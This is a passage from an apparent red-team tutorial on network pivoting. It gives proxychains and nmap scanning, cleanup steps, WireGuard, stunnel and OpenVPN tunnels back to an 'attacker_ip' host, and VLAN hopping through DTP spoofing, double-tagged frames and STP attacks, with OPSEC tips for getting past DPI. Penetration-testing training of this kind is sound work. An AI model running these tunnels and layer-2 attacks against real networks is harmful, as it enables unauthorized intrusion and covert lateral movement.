proxychains curl http://deep-internal-service
proxychains nmap -sT -Pn -p 445,3389,8080 172.16.10.0/24
# Keep tunnels alive:
# Use 'screen' or 'tmux' on every pivot host
# Document all PIDs:
ps aux | grep -E 'ssh|chisel|agent|socat'
# Step 5: Cleanup
# Kill in reverse order (deepest pivot first)
# Remove binaries from /tmp, /dev/shm
# Reset netsh portproxy rules on Windows
# Kill autossh/ssh -f processes by PID
Operational Checklist:
- Mapping: Identify all hops, IP ranges, and OS types before establishing any tunnel.
- Protocol Selection: Choose least noisy protocol for each hop (SSH > Chisel > DNS).
- Connectivity Testing: Test connectivity at each stage before proceeding deeper.
- Persistence: Monitor for tunnel drops; implement auto-reconnect (autossh, Chisel
--max-retry-count). - Traffic Evasion: Use SSL-wrapping or non-standard ports to bypass DPI inspection.
- Cleanup: Remove all listeners, binaries, and configuration changes upon completion.
- Documentation: Track every hop, port, and PID for the final report's attack path.
Additional
Supplemental reference โ advanced techniques outside the quiet-service-identification scope: Layer 3 VPN pivoting and Layer 2 segmentation bypass.
VPN Tunneling & WireGuard Pivots [Advanced]
Establish full-network-layer tunnels for seamless routing to internal network segments. This provides the most "transparent" pivoting experience โ no proxychains, no per-tool configuration.
What you're building: A Layer 3 VPN that makes the entire internal network appear locally routed โ your tools see real IPs, DNS resolves internally, and no proxy wrapper is needed.
Technique: Layer 3 VPN Pivoting
Tools: WireGuard, OpenVPN, tun2socks, stunnel
# --- WireGuard Pivot ---
# 1. Generate keys on attacker box
wg genkey | tee attacker_private.key | wg pubkey > attacker_public.key
wg genkey | tee pivot_private.key | wg pubkey > pivot_public.key
# 2. Configure WireGuard on pivot host (/etc/wireguard/wg0.conf)
# [Interface]
# PrivateKey = <Pivot_Private_Key>
# Address = 10.0.0.2/24
# [Peer]
# PublicKey = <Attacker_Public_Key>
# AllowedIPs = 10.0.0.1/32
# Endpoint = attacker_ip:51820
# 3. Bring up interface on pivot
wg-quick up wg0
# 4. Attacker config (/etc/wireguard/wg0.conf)
# [Interface]
# PrivateKey = <Attacker_Private_Key>
# Address = 10.0.0.1/24
# ListenPort = 51820
# [Peer]
# PublicKey = <Pivot_Public_Key>
# AllowedIPs = 10.0.0.2/32, 192.168.10.0/24 # include internal subnet here
# --- stunnel (SSL Wrapper โ hides WireGuard/socat traffic inside TLS) ---
# Client Side Config (stunnel.conf)
# [service]
# client = yes
# accept = 127.0.0.1:8080
# connect = attacker_ip:443
# Useful when WireGuard UDP is blocked but TCP 443 is allowed
# --- tun2socks (Convert SOCKS proxy to TUN interface) ---
# When you have a SOCKS proxy but want native routing (no proxychains)
# 1. Create TUN interface on attacker
sudo ip tuntap add dev tun0 mode tun
sudo ip link set tun0 up
sudo ip addr add 198.18.0.1/15 dev tun0
# 2. Route internal traffic through SOCKS via tun2socks
tun2socks -proxy socks5://127.0.0.1:1080 -device tun0
sudo ip route add 10.10.11.0/24 dev tun0
# --- OpenVPN over TCP 443 (common in restrictive egress) ---
# Client config snippet:
# proto tcp-client
# remote attacker_ip 443
# dev tun
# comp-lzo
# Wrap in stunnel if DPI inspection is stripping OpenVPN headers
Why: WireGuard gives you full Layer 3 routing โ DNS, UDP tools, and all TCP services work transparently. tun2socks bridges an existing Chisel/SSH SOCKS proxy into a routable TUN device. stunnel makes VPN traffic look like HTTPS to bypass DPI.
OPSEC: WireGuard UDP headers are easy to fingerprint. Wrap in stunnel (TCP 443) in environments with DPI. OpenVPN over TCP 443 blends with HTTPS but is slower. Always verify AllowedIPs doesn't route your own internet traffic through the pivot.
VLAN Hopping & Network Segmentation Bypass [Advanced]
Bypass network segmentation through VLAN misconfigurations and trunk port attacks. This targets the underlying network infrastructure rather than the hosts โ layer 2 attacks that jump segment boundaries.
What you're building: Access to VLANs that aren't accessible from your current network segment, by exploiting switch misconfigurations or using the native VLAN to craft double-tagged frames.
Technique: Layer 2 Network Attacks
Tools: Yersinia, scapy, vconfig, tcpdump
# 1. Passive reconnaissance: Listen for CDP/LLDP packets
# These reveal switch model, native VLAN, and management IPs without sending anything
tcpdump -nn -v -i eth0 'ether[20:2] == 0x2000' # Cisco CDP
tcpdump -nn -v -i eth0 'ether proto 0x88CC' # LLDP (any vendor)
# 2. DTP Spoofing with Yersinia โ negotiate trunk port with the switch
yersinia dtp -attack 1 # Send DTP Desirable to convert port to trunk
# If successful: you now receive frames from ALL VLANs on the trunk
# 3. Creating VLAN Interfaces after trunk negotiation (Linux)
sudo modprobe 8021q
sudo ip link add link eth0 name eth0.20 type vlan id 20
sudo ip addr add 10.10.20.100/24 dev eth0.20
sudo ip link set eth0.20 up
# Older method (vconfig):
sudo vconfig add eth0 20
sudo ip addr add 10.10.20.100/24 dev eth0.20
sudo ip link set eth0.20 up
# 4. Double Tagging (802.1Q in Q) โ one-way attack to reach native VLAN hosts
# Requires attacker to be on the switch's native VLAN
# Craft with Scapy:
# from scapy.all import *
# pkt = Ether() / Dot1Q(vlan=1) / Dot1Q(vlan=20) / IP(dst="10.10.20.5") / ICMP()
# sendp(pkt, iface="eth0")
# Note: return traffic won't reach you unless the path is also misconfigured
# 5. VLAN Discovery via nmap scripts
nmap --script broadcast-eigrp-discovery,broadcast-igmp-discovery -e eth0
# 6. STP Manipulation (Spanning Tree Protocol attack โ with Yersinia)
# Makes your host the Root Bridge, forcing all switch traffic through you
yersinia stp -attack 1 # Send superior BPDU to become Root Bridge
# Extremely noisy โ causes a topology change that affects all switches
Why: VLAN trunking is often left enabled by default on access ports in older switch configurations. If you can negotiate a trunk, you see all VLANs โ bypassing any network-layer segmentation silently.
OPSEC: VLAN hopping is extremely noisy at the switch level. Modern managed switches have protections (Port Security, disabling DTP, BPDU Guard) that will trigger alerts or shut down ports. STP attacks cause network-wide topology changes โ only use in agreed scopes. Double tagging is typically one-way (exfiltration only).
Resources & Certifications
| Resource | Type | Pillar Relevance |
|---|---|---|
| Chisel | Tool | Item 3 |
| rpivot | Tool | Item 3 (NTLM proxy) |
| dnscat2 | Tool | Item 5 |
| iodine | Tool | Item 5 |
| Proxychains-ng | Tool | Items 1, 2, 3 |
| masscan | Tool | Item 2 (local-segment only) |
| nmap | Tool | Items 1, 2 |
| socat | Tool | Item 4 |
| tun2socks | Tool | Additional |
| PayloadsAllTheThings - Pivoting | Reference | All items |
| HTB Pro Labs (Offshore) | Labs | Item 7 |
| Ired.team - Pivoting | Reference | All items |
| HackTricks - Pivoting | Reference | All items |
| CRTO (Zero-Point Security) | Certification | Items 1-4 |
Part of the Red Teaming 101 series.